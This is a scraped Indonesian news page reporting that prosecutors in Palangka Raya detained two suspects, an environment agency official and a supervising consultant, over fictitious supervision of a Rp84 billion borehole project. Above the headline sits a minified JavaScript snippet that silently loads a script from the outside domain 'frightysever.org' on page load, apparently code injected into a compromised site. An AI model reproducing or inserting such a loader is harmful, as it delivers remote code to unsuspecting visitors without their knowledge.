(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari Palangka Raya Tetapkan Dua Tersangka terkait Kasus Sumur Bor


KANALKALIMANTAN.COM, PALANGKA RAYA– Kejaksaan Negeri Kota Palangka Raya, Kalimantan Tengah akhirnya menetapkan dua orang tersangka terkait kasus sumur bor yang diduga menelan kerugian negara sebesar Rp933 juta dari Rp84 miliar dana yang dianggarkan dalam mega proyek tersebut.

“Dua orang yang ditetapkan sebagai tersangka itu yakni Pejabat Pembuat Komitmen (PPK) Dinas Lingkungan Hidup Kalteng berinisial A dan seorang konsultan pengawas berinisial MS. Kini keduanya sudah ditahan di Rutan Klas IIA Palangka Raya,” kata Kepala Kejaksaan Negeri Kota Palangka Raya Zet Tadung Allo, Rabu, dilansir Antara.

Zet mengatakan, keduanya ditahan di rutan selama 20 hari kedepan, guna melakukan pemeriksaan secara intensif. Mereka juga dikenakan Pasal 2 atau 3 Undang-undang Tindak Pidana Korupsi Nomor 31 tahun 1999 Jo Undang-Undang Nomor 20 tahun 2001 tentang pemberantasan korupsi dengan ancaman kurungan penjara 20 tahun.

Ia juga menambahkan, dalam perkara tersebut ada 3.200 sumur bor pada beberapa wilayah yang pelaksanaannya dikerjakan oleh pihak ketiga. Pihak ketiga tersebut yang pertama adalah Universitas Palangka Raya 700 titik, Universitas Muhammadiyah sebanyak 900 titik, DLH 900 titik dan PT Kalangkap 700 titik. Dari jumlah tersebut pembayarannya ada yang dilakukan secara kontrak dan ada juga yang dilaksanakan secara swakelola.

“Dari empat rekanan yang menerima proyek tersebut menghabiskan dana hingga Rp21 miliar. Sedangkan tersangka berinisial A hanya melakukan pengawasan pada 900 titik sumur bor beserta alat kelengkapan lainnya,” jelasnya.

Kemudian MS selaku konsultan dalam proyek itu diduga kuat tidak melakukan pengawasan secara rinci sesuai dengan peraturan kontrak dalam proyek, sehingga ia melakukan laporan fiktif terhadap kegiatan tersebut.

Juga tidak memiliki ahli namun meminjam sertifikat ahli dalam penanganan proyek itu hanya untuk kelengkapan, kemudian perusahaan yang digunakan juga bukan perusahaan miliknya, melainkan meminjam milik orang lain.

“Dalam perkara ini ahli dalam bidang tersebut tidak bekerja bahkan menyampaikan laporan fiktif dan tidak melakukan pengawasan. Tetapi dalam laporannya seolah-olah melakukan pengawasan,” ungkapnya.

Padahal dalam setiap pembangunan proyek itu ada unsur-unsur pengawasan penting dipedomani, sehingga kemungkinan besar penyebab sumur bor tersebut tidak berfungsi diduga karena tidak dibangun dengan cara standar.

“Sementara ini dalam perkara korupsi sumur bor ini ada dua orang, tidak menutup kemungkinan jumlah tersangka dan kerugian negaranya bertambah. Maka dari itu kami masih melakukan penyelidikan lebih lanjut dan mengumpulkan bukti-bukti lainnya,” terangnya.(adi/antara)

 

Editor : Antara

 


Desy Arfianty

Recent Posts

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

1 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

4 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

5 jam ago

Debat Pilbup Balangan: Penajaman Visi Misi dan Program Kerja Paslon

KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More

8 jam ago

Laporan Dugaan Pelanggaran Cabup Banjar Tamliha-Habib, Begini Progresnya di Bawaslu Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More

11 jam ago

Pjs Wali Kota Banjarbaru Serahkan SK Kenaikan Pangkat PNS

KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More

14 jam ago

This website uses cookies.